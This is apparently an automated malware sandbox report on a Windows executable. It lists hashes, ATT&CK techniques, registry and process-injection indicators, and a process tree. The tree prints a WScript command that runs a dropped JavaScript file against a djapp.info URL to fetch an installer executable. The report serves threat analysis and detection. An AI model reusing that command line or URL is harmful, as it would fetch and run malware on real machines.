97bce5dab15c95df4de4c5bd7f36770552cec7c62a79ca296fa09b5e5d1810b9

General

Target

3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe
Size

184KB
MD5

3be434a7cdd3d4d5094d65bee879f47d
SHA1

6b39bcfb1b7547a047b9fdffb146fab851c33044
SHA256

97bce5dab15c95df4de4c5bd7f36770552cec7c62a79ca296fa09b5e5d1810b9
SHA512

b483ab3693449ac06822b9f338d5f7a7921c307e5915a6546dd134e65dc15cc159e842fc8759689fce0155a6de2a29e18e8c516a4e12ca928ebc37e14a5fccaa
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3y:/7BSH8zUB+nGESaaRvoB7FJNndnv

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
3	4540	WScript.exe
22	4036	WScript.exe
23	4036	WScript.exe
25	2624	WScript.exe
26	2624	WScript.exe
41	4872	WScript.exe
44	4336	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1284 wrote to memory of 4540	1284	3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe	85
PID 1284 wrote to memory of 4540	1284	3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe	85
PID 1284 wrote to memory of 4540	1284	3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe	85
PID 1284 wrote to memory of 4036	1284	3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe	89
PID 1284 wrote to memory of 4036	1284	3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe	89
PID 1284 wrote to memory of 4036	1284	3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe	89
PID 1284 wrote to memory of 2624	1284	3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe	93
PID 1284 wrote to memory of 2624	1284	3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe	93
PID 1284 wrote to memory of 2624	1284	3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe	93
PID 1284 wrote to memory of 4872	1284	3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe	99
PID 1284 wrote to memory of 4872	1284	3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe	99
PID 1284 wrote to memory of 4872	1284	3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe	99
PID 1284 wrote to memory of 4336	1284	3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe	104
PID 1284 wrote to memory of 4336	1284	3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe	104
PID 1284 wrote to memory of 4336	1284	3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe	104

C:\Users\Admin\AppData\Local\Temp\3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\3be434a7cdd3d4d5094d65bee879f47d_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1284
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf85BA.js" http://www.djapp.info/?domain=fGqlmhkTuz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf85BA.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4540
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf85BA.js" http://www.djapp.info/?domain=fGqlmhkTuz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf85BA.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4036
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf85BA.js" http://www.djapp.info/?domain=fGqlmhkTuz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf85BA.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:2624
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf85BA.js" http://www.djapp.info/?domain=fGqlmhkTuz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf85BA.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4872
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf85BA.js" http://www.djapp.info/?domain=fGqlmhkTuz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf85BA.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4336

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf85BA.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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